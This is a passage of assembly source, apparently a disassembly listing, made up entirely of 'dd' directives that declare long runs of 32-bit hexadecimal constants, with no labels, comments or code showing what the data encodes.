		dd 0A880300h, 0C3AB01E0h, 83307E6h, 87786072h, 2B3E7040h
		dd 0F500CEC7h, 0F01C09CFh, 2AF64B80h, 78CC9A2Fh, 31B7DB4h
		dd 6C69ECE0h, 60992434h, 0AEF0402Bh, 21B00BBBh,	515E0800h
		dd 2E9E745h, 3E342418h,	416F0040h, 6C5C4229h, 0DE03F7F6h
		dd 0C81D2330h, 0AEE6A0AFh, 9B1700C5h, 0A7B7925Bh, 3A0A8A88h
		dd 8047E0EAh, 0B0140539h, 0E480C1F6h, 0A9B15h, 49F1675Dh
		dd 0AE6BAA3Dh, 0BDADD800h, 2246EAF2h, 6EA200EBh, 0DD275479h
		dd 5A00C2CDh, 50D2844Fh, 3896C8AEh, 0FB803671h,	6B996D22h
		dd 0ED00039Bh, 0FEFF5791h, 1C20A39h, 279236C8h,	0D04016AAh
		dd 6F0042E1h, 80D1241Dh, 58A5174Fh, 0CD002098h,	0F95399F7h
		dd 0CC004B69h, 1A2C0A62h, 1D9A45B0h, 404F5E7Dh,	2AA2636Fh
		dd 52017011h, 0D0AC6641h, 5FC4D5B5h, 0D99C03A9h, 122A079Bh
		dd 0F2CD4297h, 0D5CEE9E0h, 0BD00E875h, 2DF9111Ch, 61291h
		dd 71B9A859h, 86A67A96h, 2AF75B00h, 0E41376D9h,	386985Dh
		dd 0B9A279E1h, 7088ACF3h, 140033E8h, 0B6EE67F1h, 90BF249h
		dd 0A6E560ECh, 4FF7200h, 0A1009B4Fh, 0AA1EA466h, 72FCD7h
		dd 0FB7E184Eh, 8DE6272Ah, 4569E401h, 0AFF70405h, 502DB2DCh
		dd 0F2EEA501h
		dd 0D1F0C023h, 86BEC48Dh, 0D257CB00h, 31345E94h, 0DA5C035Fh
		dd 9AA2FA76h, 0E128B0F8h, 0B6CAD20Bh, 90AA07E0h, 52B40930h
		dd 0D41212BAh, 0A46005BEh, 30F00EE1h, 0B9ADF560h, 74391D09h
		dd 1E3780B8h, 8E259889h, 2F9E00CAh, 0CD4DE12h, 86005783h
		dd 0EC371977h, 7BA7F164h, 0FF777Ah, 2504CFBEh, 0A136CD3Eh
		dd 0C800C7FEh, 2FDA1E88h, 5D514FBh, 0FA827BC0h,	16D185C5h
		dd 926D001Ch, 7276B32h,	0C9A70900h, 0C58B586h, 0F9A400B9h
		dd 224E5561h, 0F51CC1A5h, 0C401C55Eh, 565D3D78h, 796FDD4h
		dd 0AB980CECh, 751D30F6h, 3403CE9Eh, 14523C47h,	5C8DF89Ch
		dd 0E5EE009Bh, 580A6126h, 0D902E170h, 0BD4C9AB1h, 0EAF16015h
		dd 9E300035h, 7F4E6FBBh, 0EF1F0C1Ch, 74C0FFDDh,	28766348h
		dd 23CE1799h, 8FDC0057h, 8604F5CCh, 2925030Eh, 0BD9F40C1h
		dd 7F09D1h, 9A638F40h, 0CA5AF7B5h, 0F9C26F00h, 0EC62646Eh
		dd 7A811DD2h, 0C0EDC967h, 0A00739D8h, 5A32764Ah, 43F2C810h
		dd 0F8F300D1h, 2FD35722h, 1E004283h, 0FDACC3E7h, 24365646h
		dd 38FD2C03h, 0EE139C8Bh, 0E3DDAD80h, 3E00A3D8h, 0A535D60Bh
		dd 0A2943C0h, 9D33F105h, 1B9343D4h, 0F4EE9ED9h,	13000441h
		dd 8247D2A7h, 1464A44Ch, 0A4B322C9h, 882D8400h,	853D2306h
		dd 0DB021100h, 15334A7Ah, 0F31C00FFh, 0CEC53EFEh, 0F200AFBBh
		dd 4123ED1Ah, 72082791h, 0D53D0050h, 38DB62B4h,	4F0019F7h
		dd 689328B5h, 918EB3h, 0DF7E1683h, 0B41EF587h, 0C21A58h
		dd 0BDE5FCD8h, 6A4DADDh, 0B1062BABh, 0F109BCEFh, 1EA5751h
		dd 61CE648Dh, 0E24220h,	0B2A8AA29h, 0BC7FCB3Ch,	5203FB00h
		dd 9C955E26h, 54D908Ah,	618C5309h, 0A0C580AEh, 223D67A9h
		dd 0B1CB8788h, 0AD0E1E8h, 1733E8Dh, 0F686E545h,	0EC7882CFh
		dd 1B00052Dh, 0F2B251C8h, 0F166F396h, 128D9450h, 2FE00788h
		dd 90EB907Ch, 24F9D2D0h, 6481BD00h, 0A465577h, 0B2AA07AEh
		dd 985F8C9h, 1AC82800h,	97637062h, 0C9E9D8C8h, 3F00AB1Eh
		dd 507E1D9Ah, 0C2879F00h, 0A56E08C9h, 0C084606Ch, 91BACBC5h
		dd 80CC043Ah, 0AC9FEEB3h, 3D8C15h, 0AAE1DF72h, 0D54B25F6h
		dd 16AD5A06h, 7C807F7h,	0A035AC97h, 838C5074h, 0E001A445h
		dd 86BCCBCAh, 0D6F89E4Dh, 27BE5h, 0F749E167h, 0B4AC523Bh
		dd 35583AEAh, 0ED0600FFh, 7F63C722h, 0AAFA00B3h, 24B4B2BCh
		dd 0D05190F6h, 0D260F2D4h, 0C3017418h, 0FC967C93h, 7C20CFF0h
		dd 735A00B0h, 0D6E33B0Ch, 3D00EEBAh, 913E8B76h,	0A0C67139h
		dd 75173C7h, 83934B32h,	0CBE221A7h, 19E22094h, 4D6DDA00h
		dd 3CF32E53h, 204560B7h, 0C3F5998Bh, 807FB53Eh,	90FE3468h
		dd 0C91494h, 0CD80D791h, 0E8828CFDh, 395A13F8h,	26D4B0h
		dd 0ACC667D1h, 76B37A4Dh, 0EC2F7907h, 321089FCh, 0A0671F7h
		dd 45131899h, 0B37000FCh, 4C98B7F2h, 2DB4158h, 5D920F35h
		dd 603C6895h, 64590011h, 1C79EBFAh, 0A30049B2h,	3D2110BBh
		dd 54952Bh, 377C530Ch, 966C75B8h, 0AE000C90h, 0BCCC362h
		dd 32BE7Eh, 425145E3h, 0D788C49Ah, 486C0C00h, 0D1B25865h
		dd 92279F6h, 0C7B60D7Fh, 99905600h, 89A029D5h, 400A63Bh
		dd 28BD6E9Ah, 24BAE7D7h, 0FE7032h, 0C6052CC2h, 0F4003BF1h
		dd 1F048D8h, 0D745AFh, 0F7F87166h, 0E6FB40DBh, 5E9ECD00h
		dd 128B895Bh, 0D9F9006Eh, 0DB46AEF3h, 0BC00C859h, 0FECC9CC2h
		dd 3E765Eh, 6A6F9DCAh, 7036723Ch, 0E4E11C02h, 0C06563EBh
		dd 0F716466h, 0BAFD59E9h, 0E51FD5E0h, 35000CD8h, 2916C499h
		dd 0EE0E2FAh, 0A2B2AC34h, 3778A4E0h, 0DF00EEF4h, 46182FF9h
		dd 982CC66h, 0D12AC62Bh, 0B8C500DFh, 0F4A6AFh, 5A051535h
		dd 8FD8F752h, 80C6E03Eh, 0B56C3F27h, 1C5F9A17h,	4235D104h
		dd 11F51CE1h, 0DF76C60h, 0E378DE01h, 0D6474F3Ch, 0DC21B841h
		dd 58530FCh, 96109CEFh,	5374406Ah, 30D1F1E4h, 7F008074h
		dd 2EA00AC2h, 0B2222Bh,	3AD27020h, 645F85B5h, 6EB03200h
		dd 1D5C17A9h, 0D8F900DDh, 0DF809FB9h, 1978401Ch, 7CF6FE77h
		dd 9A8CAE00h, 0A7012212h, 7E5B00E8h, 5AAF2BFFh,	0B0007711h
		dd 687FDFFBh, 0F6120624h, 41990707h, 135167CEh,	0A0DFFD08h
		dd 16C8236Bh, 0C29A090Eh, 2AC343Bh, 0A538A6DEh,	0EB28043h
		dd 4CFC0526h, 79007BD2h, 92D6145Ah, 5F00CB3Bh, 0A0C2DF1Ch
		dd 7180BD89h, 34E006h, 0FE6DA765h, 0C798F0A3h, 0AC9BD328h
		dd 5D898D04h, 5890E89Ah, 6485C3h, 0F1D505A6h, 44BAA1D0h
		dd 0BB0050B0h, 850F4714h, 1C045Dh, 0B2A6072h, 9B0EE1F6h
		dd 561A530Bh, 8CD01869h, 0CB10010Dh, 0DB079EF9h, 16C8204Ah
		dd 0AFF01BEAh, 42FCFE05h, 0FB167017h, 2627F900h, 0E9D77Fh
		dd 0BFC3A2D8h, 1B81EC52h, 0C67E8F02h, 60254910h, 26890B64h
		dd 16015CBh, 0C911BB0Eh, 0EB06E860h, 88E6A0C7h,	8220C300h
		dd 23D30028h, 62DAD8BAh, 4606A32Bh, 5EAA372Dh, 36960040h
		dd 0DFF70BA9h, 11002A6Dh, 0C7B1E774h, 95941B5h,	0A10163FAh
		dd 0CF26F880h, 0C200600Ch, 7807A8EAh, 0FEDFAD4Dh, 4C1448A5h
		dd 0B5556600h, 240F732Ch, 199C2500h, 5DC746D7h,	857475h
		dd 84510D23h, 74628FF9h, 0D8C37800h, 155D5894h,	7E490490h
		dd 0C0E2FC3Bh, 56A62980h, 0A4F6930Fh, 804AC762h, 80D9D9D7h
		dd 3E7D576Ah, 0DDE267h,	7E8D606Fh, 5F24FC9Fh, 83584Ch
		dd 668F5001h, 48CED1AAh, 3015E4Fh, 0ECF49080h, 7751F48Ch
		dd 9CEE1500h, 0A35D2A1h, 55BB00F7h, 31C1F4A7h, 740010D7h
		dd 198101ADh, 6C09BFh, 51D987EBh, 0B0F93A94h, 35F52000h
		dd 58429E70h, 506B67A3h, 2FCFB083h, 0BC000C96h,	57725CF2h
		dd 0E9BF1A7h, 1CFE7B1Fh, 0B0265E00h, 0A4005AE4h, 64D5EA12h
		dd 202363h, 0D8977857h,	0D0E68DC1h, 6EC830F3h, 0A6383Fh
		dd 2114EDC7h, 4C5E7F7Dh, 8100FB05h, 0C8F89ABBh,	88B839C4h
		dd 506CFD00h, 0F56ECE0Eh, 0BF9503D7h, 2EA2E0E3h, 25360DB0h
		dd 837C4F07h, 0C96793DCh, 0B5C584B0h, 5109862h,	2D367D6Eh
		dd 0DC0C8187h, 8879DBBCh, 0AC016801h, 58A67774h, 384034h
		dd 42B8B07h, 6925F036h,	15597000h, 0E63C8FAFh, 91F101A1h
		dd 47102394h, 77A7D88Dh, 366A1D00h, 7AA506AFh, 0CB3A06E8h
		dd 10070B56h, 0A74B38h,	3D5F5C33h, 4926FD20h, 7500D880h
		dd 0B622E188h, 0B91EA572h, 13817C82h, 6CC5F53Ah, 4B8434h
		dd 61B2066Dh, 579ABA60h, 0C03A3900h, 0C42B34A5h, 0B18A1C26h
		dd 5A55C74Dh, 1098B7CAh, 0FFA730F8h, 3C26397Dh,	9D80BCFDh
		dd 1E5B27C0h, 82100058h, 5CA654E6h, 87483BE2h, 0A2C12E40h
		dd 4B71ED00h, 263C0BF9h, 17645361h, 0A1CC0065h,	824C7B62h
		dd 5D1BCC0Ch, 13927h, 0AF966AEFh, 5F07C89Ah, 0BC18DC60h
		dd 932F298h, 0C54FA856h, 0AE52C400h, 0DA075763h, 0EA9AFB5Ch
		dd 24D73DF4h, 0FED7B7B7h, 673CC0DFh, 4BDD872h, 0B3DA321Ah
		dd 8D490A7h, 5F009F57h,	0E66C26B0h, 745CF872h, 0C061CC5Dh
		dd 0D1002341h, 0A3BB2748h, 3FBE1E1Bh, 0F0A8D898h, 6F26028Ch
		dd 0F9320C14h, 81B8E788h, 0BE6769F1h, 99C08086h, 22ACD696h
		dd 1DBD00E8h, 0ED697BB6h, 942EA48Ch, 0E4006046h, 978D3CCCh
		dd 288379FDh, 1F04FA7h,	0FF414684h, 606F569Bh, 0F902B9ECh
		dd 9C6E8A38h, 0C0F8E339h, 0EE5EED2Ch, 0F83D2A4Ch, 0DD8A0BD4h
		dd 0C306E11Ah, 1200993Ah, 2939FADAh, 96F2A0h, 0D6AE86F0h
		dd 584FABE1h, 101C9500h
		dd 359E815Fh, 60A40742h, 0F09A1A85h, 18543E78h,	0AD640h
		dd 0B66AD14Ah, 0E38CB5BFh, 1B24ABE4h, 4402FC77h, 805E6695h
		dd 8812F8A4h, 83E60506h, 407496F6h, 3BC80EC0h, 30EB456Fh
		dd 701D645h, 0E9CD0DACh, 188E69F7h, 405E0AC3h, 0CC3124B7h
		dd 6A1D8633h, 4C7FA72Bh, 0AAF81DF4h, 0AC91400h,	0F5066Ch
		dd 7E6648AEh, 2CD36DD6h, 64A4751Ch, 0AEC5A55h, 9CD18FDBh
		dd 0F5B90F3Ch, 0FC7EE00Ah, 0E2CF296h, 583E5FE6h, 3F60EE6Ch
		dd 2BA8D01Eh, 0B99ADC83h, 96B188D2h, 1D123002h,	6D1ED1A0h
		dd 2E3A9D09h, 8E2B8024h, 9788FD0h, 34223F26h, 0A194B800h
		dd 0FC03EC97h, 55DD7CE0h, 522DD961h, 0D4CA3089h, 47005C8Bh
		dd 0DA373D44h, 5A94DC00h, 0CCAFD2CDh, 76F70032h, 15F8B99Fh
		dd 2E3A6D87h, 91695Dh, 59539664h, 5FA14h, 176E331Ah, 85F1E919h
		dd 569DD200h, 137E0440h, 5AD0046h, 1C6E7518h, 371E6377h
		dd 0D60EFEF7h, 0C03F0EC6h, 9E7A62DEh, 3E7907E5h, 45E4E9A9h
		dd 19988004h, 7F035616h, 7292AA5Bh, 0B2D99078h,	54B0A04Fh
		dd 31FA5Fh, 0CC503D10h,	6B182EB8h, 4800154Eh, 0BD0840EDh
		dd 3789051h, 43FD3D7Dh,	0E5902DABh, 0BC00A01Dh,	90D05F74h
		dd 24F027C9h, 80F09941h, 8652E575h, 87B02BF9h, 0F221A01h
		dd 0E29271BCh, 0D3805432h, 0D21F4A55h, 6F26CCFAh, 0A0803407h
		dd 58E8C9B2h, 0EF9090Ah, 50A44BC7h, 0BCD08162h,	0FE9824FFh
		dd 589283FCh, 0B07A4400h, 0C5C8C037h, 39BB0068h, 2C968E50h
		dd 2A607926h, 0EE82CCE1h, 0B6CD0BC0h, 1A008FB8h, 22DFEF8Eh
		dd 17DDA703h, 0C8A181E6h, 306FA5F3h, 84F46670h,	2E7EC7D3h
		dd 0EA081800h, 9CD6E85Bh, 4C8C3295h, 0D03965A1h, 0F868A2C4h
		dd 3D180909h, 0D0245266h, 877A80FAh, 27006079h,	6BB0F6F1h
		dd 3082F012h, 0CC918B96h, 0C7011CB9h, 0A6665B5Eh, 0E02050E1h
		dd 0F12800C2h, 1E9A4610h, 70500E09h, 0D809DA97h, 0EE636CCh
		dd 6C4060C2h, 0A0D5E8h,	0DDA51B9Dh, 22C3B292h, 3405D000h
		dd 0A18EE272h, 2D1A00E3h, 0A56CF6F3h, 0AF001857h, 0E4097814h
		dd 1638023h, 54928182h,	0E8A18B2Eh, 0DB1CE7F5h,	0CBC0C00Eh
		dd 0BC4DC4F9h, 15050030h, 497695C6h, 6103696Ah,	34489AAEh
		dd 0BFDCE96Dh, 9DC61080h, 0C7E75B0Fh, 2CA04000h, 2B778298h
		dd 2D3B0050h, 0EF9C7B1Bh, 80005AD8h, 0C7B2C2E6h, 0CCEAD7h
		dd 90FB9D34h, 61A8F4F2h, 0D0C0F77Fh, 0A3BFD5D2h, 0B4630044h
		dd 0C44612DBh, 0BD3F56F3h, 8D00FB9Ch, 0DADD5D60h, 6259B15h
		dd 0BE61C1C7h, 0A70010D5h, 0A2B8FCE1h, 6074C0CBh, 42B11971h
		dd 29004605h, 0B04578CDh, 27EAD3h, 4EC9F0C6h, 75CAACA9h
		dd 88C57933h, 0BCCD9886h, 686B008Ch, 0EA2AF313h, 9301F0F9h
		dd 0A6D7EEC9h, 0CFC01F3Eh, 0A0900D2h, 0DE61C4CEh, 9500C182h
		dd 0B5388FFCh, 383F844h, 9D3B01D6h, 0E7A37460h,	10975005h
		dd 0CDC02CE1h, 390EBD4Dh, 523D1E69h, 0E228F700h, 0F6123DD0h
		dd 0A0C98718h, 5889B0h,	0CB433A6Bh, 9C85DB2Fh, 9914F301h
		dd 8F51769Eh, 0B594C4h,	43A222F1h, 0DF3A0E4Eh, 0E903EFE6h
		dd 2E6B3CAh, 12719095h,	0B3CE504Fh, 8E9DF8Bh, 0F103EF39h
		dd 0C01F4721h, 0FCB4DE64h, 79A40AFAh, 0D4C24Dh,	84E8A66Dh
		dd 4201AAB5h, 0BF555FD5h, 16C0BA78h, 76030FD9h,	0F8C02475h
		dd 0AA7C4301h, 0DAA07D07h, 3990DB48h, 0C0AE36F7h, 348395B0h
		dd 120004B1h, 0C07DF19Bh, 807530h, 1AA59F11h, 45AD3AAh
		dd 84003598h, 95122459h, 0EA6B64h, 0C014B233h, 6686B40Ch
		dd 0F8E37C28h, 0DCFEFC0Eh, 0CD0A808Ah, 18CB3A0h, 9FEBD2CAh
		dd 7E1362EAh, 75063E0h,	307E4E9Ah, 3D49C0D0h, 7F03C5CBh
		dd 28C9DC34h, 76C78CAEh, 0A024E2D1h, 24CAADE4h,	801487D7h
		dd 0BAED4264h, 16186733h, 0C1481C01h, 7AA20740h, 8F7B61AFh
		dd 5802661h, 0E9B3FCEBh, 0A3B70E24h, 94821F00h,	7397B2DAh
		dd 1010602Bh, 0A662D393h, 3DB9151Fh, 2F7BE470h,	5E570032h
		dd 38F7CC10h, 9400B767h, 7FCF6F0Dh, 975A3Bh, 31DD1343h
		dd 0EC509D86h, 1C64A224h, 0C200121Fh, 8982AD83h, 86D11336h
		dd 0AAFE00E0h, 0D3D29B91h, 7F79223Ch, 2CF15E0Eh, 0B00A80F8h
		dd 1358328h, 0ED337C85h, 30CE871Bh, 0BD003950h,	0FD43AA56h
		dd 27DE4Ah, 5D7D5FB9h, 22B5FBF3h, 21C5848h, 6037664Ch
		dd 8A8100C3h, 0E903AB0Fh, 750969AEh, 0DE55E829h, 0FD3A00D4h
		dd 58965A27h, 2500F466h, 80AE9077h, 723CFEC4h, 0CB5B00FFh
		dd 83A3D25Ah, 6810B4B9h, 0C5080BA5h, 8E47E481h,	918AA191h
		dd 0CB5AECh, 0CD23DEA9h, 0CC47539Ah, 5E9C4300h,	4230B982h
		dd 21F6021Ah, 0AC251585h, 0BCC61DC0h, 980054B8h, 240AD9CAh
		dd 30FA29Fh, 733EBD2Ah,	0DEB0C071h, 33F20EEDh, 15220400h
		dd 0D6556CDBh, 39A600C2h, 7B91207Ah, 0D5242A94h, 0C940588Bh
		dd 10786Dh, 1C433269h, 4C2A9DCEh, 66F84D0Eh, 0D16B00CFh
		dd 88C2C0h, 0D0E4E564h,	31417F78h, 0BB08C100h, 12C32ED4h
		dd 4F740E25h, 0A8405F8Eh, 546694AEh, 0C4F60800h, 21436902h
		dd 0AB3A01A1h, 55D12D89h, 60D5ED79h, 2800547Bh,	36D27C13h
		dd 7CBADDC7h, 5CBD01D9h, 410524C6h, 0CE983425h,	0B0FB6400h
		dd 3E784D9Ah, 7BB13BD4h, 0F8032781h, 0ECF7F54Ah, 1218935Fh
		dd 1D607A3Ah, 7EEE07FCh, 0F04662CBh, 313D0EE2h,	645D810Fh
		dd 0C04D2F9Dh, 9C5BA61Fh, 0E3890078h, 40A01466h, 1800E1BAh
		dd 0AB3BDF9h, 98F81Dh, 0E34DAA73h, 4BA49274h, 0CAEF1C00h
		dd 0B1ACF5ECh, 1E57004Ch, 0F454E408h, 8400E7EEh, 0BF14F0FAh
		dd 0B1C6B5h, 59399794h,	0A4F92F3Ch, 22B0A950h, 9B410407h
		dd 0DB90100Ah, 0F8307Ch, 0E920759Ah, 5551A3ADh,	3847D4E7h
		dd 4EACB800h, 73D9CF53h, 0CAC22926h, 2E6A0088h,	159EE5E8h
		dd 0A6D3FD00h, 52544DF6h, 14C94C66h, 2C47C000h,	19962995h
		dd 0C62B7F07h, 0E8407916h, 0B2B4D7A0h, 1357280h, 0A6E41737h
		dd 0D1BC2ABEh, 4486D0C4h, 0B9957430h, 7C9AE53h,	7ED485BDh
		dd 4780CEBAh, 9E2B940Eh, 884B190Bh, 2179808Fh, 0F0091545h
		dd 293B0147h, 7ADA629Bh, 0C48BC03h, 40A3A6D4h, 86A9DFC6h
		dd 91A81BB3h, 0BB04C300h, 16B63DABh, 68745150h,	1475E7F4h
		dd 4C7645F8h, 65582B29h, 4B843051h, 0C3A75E6h, 9BDF03EDh
		dd 0E0F55AC2h, 0B5919408h, 0B43BB9F0h, 0D337872Fh, 16207577h
		dd 3FCEA55Fh, 1780E997h, 25F3D8A6h, 0B8603306h,	0EE493F18h
		dd 0C8DC3E9Dh, 0FA3DE101h, 841B166Fh, 366A1021h, 0E425AC90h
		dd 4F481866h, 49C930B2h, 3ADD8100h, 9318C153h, 4018D8A7h
		dd 0D13E9CBCh, 0BBF51E97h, 0D062BF07h, 83013580h, 0AF22808Ah
		dd 0E1CF3430h, 3D6E7F4Fh, 0C915AED2h, 6D19A4B7h, 0E36A21C5h
		dd 66F890Ch, 6F651D3h, 83262477h, 1900D1C5h, 0C8F273F3h
		dd 608BC039h, 0A57041C4h, 0B3150C9Fh, 3B0AAB6h,	0F593FE50h
		dd 3E71EE14h, 2D09CB66h, 0FD83B537h, 604072A6h,	0C303F860h
		dd 0C8A8A243h, 0C12C8234h, 0A0E0928Eh, 0AAC93091h, 483EFC49h
		dd 1E2FA302h, 7D6C311Bh, 81669800h, 0C50719CAh,	43AFB0EEh
		dd 17FB3C3h, 0C1842790h, 0A4D3F1ECh, 0B00B510h,	8675F0F5h
		dd 8E50006h, 2DF499C1h,	0D40063B3h, 2444782Ch, 813AFBh
		dd 0D24371AEh, 0C8ABA480h, 64B220C0h, 0FA9BCFA3h, 0D1930D7Fh
		dd 0C4610D45h, 0B1C0BFC9h, 821EE8AAh, 7873AEh, 0CC6DF45Ch
		dd 0C26309D4h
		dd 45237200h, 90C80D74h, 0F6DD0ACFh, 3FAC3AEAh,	0AC69DC80h
		dd 25583B10h, 8EA01A00h, 20C14313h, 0D79D00B4h,	1544752Ch
		dd 0B5017BABh, 0EB8C51ACh, 0FDDCE8A0h, 204100F2h, 9C8A211Ch
		dd 0AB545BA3h, 1D1EE6D0h, 0D4C05A9Dh, 3A84EEA9h, 0D0A30765h
		dd 41252450h, 80F049D1h, 8A52D4D1h, 61CA71D2h, 0B650D9E3h
		dd 5A9AC049h, 1FAEAC39h, 3A39C1ECh, 0DA7281C2h,	0D2554C67h
		dd 23E760h, 0B77C9CB3h,	0EFD3DF9Eh, 0ABC2CD00h,	74288D30h
		dd 89F80EB5h, 3B806F99h, 0CE2032Eh, 0D4D6D101h,	0C4EE622Fh
		dd 21180898h, 0C00CA2Dh, 71B80E99h, 1E6C76B7h, 8012F75Ch
		dd 0F26B0A27h, 4B30D33Bh, 18633004h, 0C1B90052h, 6F426685h
		dd 45748E8Dh, 0CE212C6Fh, 7D844B5Ah, 97B85700h,	740070CFh
		dd 76D0F4F3h, 1767CA50h, 184DBC10h, 63C888E1h, 0F4D3D739h
		dd 0DB0E10C0h, 6F75447h, 0AF4F24C7h, 5860082Fh,	47DF3921h
		dd 64B6A007h, 38403CDh,	0F56FCA53h, 2C885868h, 0C780E311h
		dd 0E7F75847h, 3D5B448Ch, 51DD78C0h, 3EEB4372h,	29005377h
		dd 9D58E3E5h, 2271B934h, 9C48CA7h, 38279360h, 67AA41Dh
		dd 8646D86Ah, 180CD502h, 1B31DCD4h, 0CDD1017h, 0DB03C366h
		dd 4DD7B640h, 8664E051h, 0C099A2A9h, 376E12h, 776335E9h
		dd 0B4F0190Ah, 0D8422900h, 0A6D9E6EAh, 0EEAF00ABh, 7F73F9FBh
		dd 200E562h, 177496B1h,	609142h, 7DD8528Eh, 0E1098404h
		dd 21D2C900h, 100CF3CBh, 0FF2B00FDh, 0F23E766Dh, 7800A38Ch
		dd 3F7F4EBh, 41353Ch, 8DDB0DACh, 42368222h, 0A5FBA400h
		dd 407F7168h, 8EF200FFh, 0C1C914E9h, 26008246h,	118B87C5h
		dd 3418A5Fh, 910466A5h,	0B6B8A86Eh, 42000FC8h, 0D27328Bh
		dd 3066B02Fh, 0D72875EFh, 562EC5A3h, 68002E17h,	99698D4Dh
		dd 0EA9500B8h, 42123A6Fh, 0B4070E53h, 40E3B5C1h, 79AADF01h
		dd 0E40C40BEh, 318B985h, 64133A00h, 428482C1h, 19233D95h
		dd 0E64E270Eh, 0AA687944h, 0BB8E3FC0h, 0E5B3181Eh, 0AE5AB18Bh
		dd 0C6553224h, 39D08C3Fh, 0E63A14Ch, 0ACDEF0ABh, 3F1BE200h
		dd 671C94CEh, 43C0D3C4h, 0B83D928Ch, 0BF250172h, 0B7A542D7h
		dd 4100D30Bh, 39E56ACCh, 3AF24CAh, 0E2D3CB8Ch, 1101CFC1h
		dd 5660272Fh, 3080B2A8h, 0F0E9B042h, 6400E059h,	3FED5A40h
		dd 1E57F774h, 807767B4h, 5688B5C6h, 690015BEh, 3828C1Ah
		dd 3A7AB255h, 36186273h, 6CF32077h, 0D52A1A00h,	25921E6Bh
		dd 87810046h, 0B5A55DFDh, 70035CB0h, 521431EAh,	683DC05Ah
		dd 188EEBB2h, 0F74849E0h, 0A19F3400h, 37591AB5h, 8061258Dh
		dd 6FD4FA8h, 523D3F1Eh,	835F54Ch, 3721CEACh, 4DA4FD20h
		dd 5004F5Bh, 5119EDCBh,	3E0F21Dh, 8B24F473h, 3101BE29h
		dd 2FA19C88h, 70BC6790h, 74783600h, 21857C69h, 7266D9EAh
		dd 3D310F08h, 1C8173A4h, 403578F2h, 3EE6300Eh, 0E5166818h
		dd 651DCAC8h, 14E6076h,	27217A99h, 385770D6h, 9D1E241Ch
		dd 11C7D4C0h, 0ABBC31B1h, 32E7B0B0h, 2D700066h,	0CF26A3D8h
		dd 720B473Dh, 0F73E55C3h, 0B43A6681h, 0A3DC70CCh, 471B40C1h
		dd 1880A18Fh, 2ADE0853h, 590F199Dh, 54D86E99h, 0F2758A8h
		dd 61BF8EC5h, 11CED9C1h, 94EBD0h, 592656FEh, 0ED4378E1h
		dd 2797E901h, 192446F5h, 15C6620h, 0ECA73E6Eh, 0F0CE3623h
		dd 2F00B72Ah, 0D7974D1Dh, 1EF576h, 60B13CCCh, 0F109A86Bh
		dd 3A18D107h, 42E070D9h, 0BE1FF1Dh, 9C5E4F58h, 6E515880h
		dd 0ED39BD19h, 88DE0033h, 421353CCh, 0FAA1509Ah, 1E4A00F6h
		dd 267BB3Bh, 900095FAh,	9B302A5Dh, 704803h, 0BE5A08C6h
		dd 5153D6FFh, 0FCF77D00h, 0E0364B6Eh, 17AD07F5h, 20924458h
		dd 0EF7D9DDAh, 0F04E9800h, 0A4406B3Bh, 1DC72679h, 89AF079Dh
		dd 29A251E5h, 4E319FFFh, 0D0000716h, 0AACF4CAh,	6045F847h
		dd 9EE521AEh, 2AEAC64Dh, 505D1500h, 0AE11FCD5h,	0BC0D00A5h
		dd 940E2C03h, 5DF42A7Dh, 0BF4A6D7Eh, 4078C6h, 889A4790h
		dd 918695C3h, 78A06AFBh, 712D1658h, 407F00CEh, 0C898FFD3h
		dd 0DBC01407h, 6200CB20h, 0C019434Bh, 0FE0CB819h, 0BC040BB6h
		dd 9B59FF38h, 4F44F40h,	0AE609F96h, 1C284470h, 78991F31h
		dd 8062DE1Dh, 0A0828313h, 0F000393h, 0A9526749h, 607C9169h
		dd 0E88EA948h, 0D6014BBAh, 0C1DDA022h, 84483B0Fh, 476300BFh
		dd 4C7CF953h, 80957DC2h, 0BE9F28EBh, 1E881476h,	7BB0B4h
		dd 4886A00Fh, 7A7991F5h, 9F5361C1h, 50809388h, 4F4CA76Ch
		dd 0C43828CBh, 0F62A1850h, 450EFCh, 4A6CCC9Fh, 8943A3F5h
		dd 1B3EB201h, 4F172BA0h, 7E59D2F0h, 5E3C0EAAh, 0C5E19795h
		dd 0C4DFDA2Dh, 0A500A864h, 30C7FD3h, 0F9D943h, 0E96E72F7h
		dd 5B110B89h, 69C86B0Fh, 0ADD12016h, 34C6305Dh,	3E487F2Dh
		dd 1A940C04h, 0A7106Bh,	7D8D4F78h, 58F35E76h, 322E2200h
		dd 94CF6938h, 9B4D0162h, 5DE3A7F5h, 7228908Ch, 44056E84h
		dd 1C464A36h, 8F5514Eh,	3A08443Fh, 67D829C0h, 1DB5FCB3h
		dd 0C07F397Bh, 3C081D55h, 0E500A6DAh, 6F2959F2h, 70AE5736h
		dd 538D007Bh, 0F12DDC0Ch, 0B800C13Bh, 0A3798B86h, 4730Ah
		dd 8E3AE04Eh, 2EAC4FECh, 776BDB00h, 9185299Fh, 0C38D03CEh
		dd 0C58ECA72h, 508A21B9h, 0D7A577A0h, 8362E900h, 6F4AA49Eh
		dd 0AA3300AFh, 0E32CADDCh, 4E001EB4h, 3D41C2C5h, 87F0FEh
		dd 0A55778BDh, 0CA23E61Ah, 3A007F7Ch, 366EEE97h, 0A8186Bh
		dd 33800AD6h, 7B07F094h, 0D5C39018h, 371E93Ch, 8BD18C4Eh
		dd 0DA1CB1A9h, 2757A126h, 255007BBh, 6447B08Ah,	460280CCh
		dd 0FF99E1E4h, 0F0E08085h, 981D1Ah, 9B700F77h, 0ED75F30Bh
		dd 6B666000h, 742339Fh,	542A38A1h, 50886287h, 300140B1h
		dd 3702BA86h, 0DF48733h, 592360E1h, 654B2E7Bh, 0EF8A0F8Fh
		dd 0E4D7AE00h, 0CF001151h, 0A33761F2h, 0C85EA68h, 1ED9F532h
		dd 60029CF8h, 22C2F845h, 0E08C8EA5h, 90244D3Ah,	935300D4h
		dd 2DDD2F3Ch, 0E4002ED2h, 0ADB73F71h, 9294719h,	881541Ch
		dd 0CF1F5F80h, 84145E72h, 0CCD166h, 0FBCE491h, 3EEF22h
		dd 0C860D349h, 0BA046F21h, 933A5603h, 0D515B929h, 0EDAFB600h
		dd 17C92B4Fh, 7945387h,	0E09C1091h, 0CA5D4679h,	0CCC1D001h
		dd 4B4F0E8Ah, 40DDCh, 77573935h, 6788BDFDh, 0EB8A2800h
		dd 1EC85570h, 9E0F0134h, 63E01178h, 0F3F0D98Ch,	0A893D4A8h
		dd 0B4B8DF00h, 24AE7E8h, 0BFEE8Eh, 0F7B92E32h, 89B162EBh
		dd 66505600h, 81EFCB5Ch, 0FB1A00D7h, 0C79B77DEh, 720F3F5Ah
		dd 87C2756Fh, 417B1CAh,	80205DE7h, 50A4859h, 0E628B2FFh
